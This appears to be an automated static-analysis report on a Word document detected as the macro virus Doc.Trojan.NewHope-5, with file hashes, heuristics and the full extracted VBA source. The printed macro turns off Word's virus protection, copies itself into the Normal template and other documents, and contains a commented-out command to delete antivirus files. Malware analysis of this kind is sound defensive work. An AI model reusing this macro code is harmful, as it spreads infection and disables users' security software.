Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b7cc07f0914d6028…

MALICIOUS

Office (OLE)

27.5 KB Created: 2001-05-16 03:12:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: cfc602669a948effb0f21f168e6dfb9b SHA-1: 7ad48f454bbc6abc73572a4c71ba995b843f07aa SHA-256: b7cc07f0914d602857585b7cc033e5fcb02231b4d018440fdfccbeee4f5e9db0
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing a VBA macro that executes upon opening. The macro attempts to modify the Normal template and includes a commented-out command to delete files from the Trend Micro PC-cillin directory, indicating an attempt to disable security software. The macro's complexity and obfuscation suggest a malicious intent, though a specific family is not identifiable.

Heuristics 3

  • ClamAV: Doc.Trojan.NewHope-5 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.NewHope-5
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1751 bytes
SHA-256: a61c6a3a1af2cf000ff645548dc4ef51171a0201fa1860140f93b71870220603
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Close()
Rem
Call Document_Open
End Sub
Private Sub Document_New()
Call Document_Open
End Sub
Private Sub Document_Open()
On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
WordBasic.DisableAutoMacros 0
Options.VirusProtection = False
NormInstalled = False
ActInstalled = False
If NormalTemplate.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then NormInstalled = True
If ActiveDocument.VBProject.VBComponents(1).CodeModule.Lines(2, 1) = "Rem" Then ActInstalled = True
If NormInstalled = True And ActInstalled = True Then GoTo Killer
If NormInstalled = False Then
    Set Inf = NormalTemplate.VBProject.VBComponents(1).CodeModule
    Set Noc = ActiveDocument.VBProject.VBComponents(1).CodeModule
Else
    Set Inf = ActiveDocument.VBProject.VBComponents(1).CodeModule
    Set Noc = NormalTemplate.VBProject.VBComponents(1).CodeModule
End If
With Noc
    Code = .Lines(1, .CountOfLines)
End With
With Inf
    .DeleteLines 1, .CountOfLines
    .InsertLines 1, Code
End With
Application.DisplayAlerts = wdAlertsAll
''WordBasic.Kill "c:\Program Files\Trend Pc-cillin 98\*.*"
Exit Sub
Killer:
 If Month(Date) = Int(Rnd * 12 + 1) Then

  Set ULTRAS = ActiveDocument.Range(Start:=0, End:=0)
    With ULTRAS
        .Chr (13)
        .Font.Size = 42
        .Font.Name = "?⒬?E"
        .Font.ColorIndex = wdGreen
        .Font.Shadow = 1
        .Font.Animation = wdAnimationLasVegasLights
    End With
 End If
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.